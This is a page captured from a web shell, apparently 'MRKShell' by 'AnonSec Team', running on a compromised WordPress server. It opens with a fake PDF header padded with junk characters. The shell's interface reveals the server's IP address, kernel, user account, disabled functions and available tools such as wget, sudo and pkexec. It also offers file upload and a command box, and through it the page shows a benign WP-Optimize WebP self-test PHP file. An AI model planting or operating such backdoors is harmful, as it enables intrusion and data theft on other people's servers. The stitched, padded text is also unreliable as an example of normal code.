...........................................................................................................................................................................................................................................................................................................................@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%PDF-1.5 MRK IS HERE %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY MR K IS HERE
MRKShell
Server IP : 65.108.66.160  /  Your IP : 216.73.217.50
Web Server : Apache
System : Linux srv16.asso.com.ar 4.18.0-553.123.1.el8_10.x86_64 #1 SMP Tue May 5 04:00:43 EDT 2026 x86_64
User : alasaweborg ( 1047)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/alasaweborg/www/wp-content/plugins/wp-optimize/webp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/alasaweborg/www/wp-content/plugins/wp-optimize/webp/class-wpo-webp-self-test.php
<?php

if (!defined('WPO_VERSION')) die('No direct access allowed');

if (!class_exists('WPO_WebP_Self_Test')) :

class WPO_WebP_Self_Test {

	/**
	 * Determines whether content type header has webp mime or not
	 *
	 * @param array $headers An array of headers
	 *
	 * @return bool
	 */
	private function has_webp_mime($headers) {
		return isset($headers['content-type']) && 0 === strcasecmp('image/webp', $headers['content-type']);
	}

	/**
	 * Determines whether headers has `vary` header or not
	 *
	 * @param array $headers An array of headers
	 *
	 * @return bool
	 */
	private function has_vary($headers) {
		return isset($headers['vary']) && preg_match('/accept/i', $headers['vary']);
	}

	/**
	 * Decided whether webp version is served or not
	 *
	 * @return bool
	 */
	public function is_webp_served() {
		$args = array(
			'headers' => array(
				'accept' => 'image/webp'
			)
		);

		$upload_dir = wp_upload_dir();
		$url =  $upload_dir['baseurl']. '/wpo/images/wpo_logo_small.png';

		$response = wp_remote_head($url, $args);

		if (is_wp_error($response)) return false;
		if (200 != $response['response']['code']) return false;

		$headers = wp_remote_retrieve_headers($response);
		if (method_exists($headers, 'getAll')) {
			$headers = $headers->getAll();
			if ($this->has_webp_mime($headers) && $this->has_vary($headers)) {
				return true;
			}
		}
		return false;
	}

	/**
	 * Returns singleton instance
	 *
	 * @return WPO_WebP_Self_Test
	 */
	public static function get_instance() {
		static $_instance = null;
		if (null === $_instance) {
			$_instance = new self();
		}
		return $_instance;
	}
}

endif;

Anon7 - 2022
AnonSec Team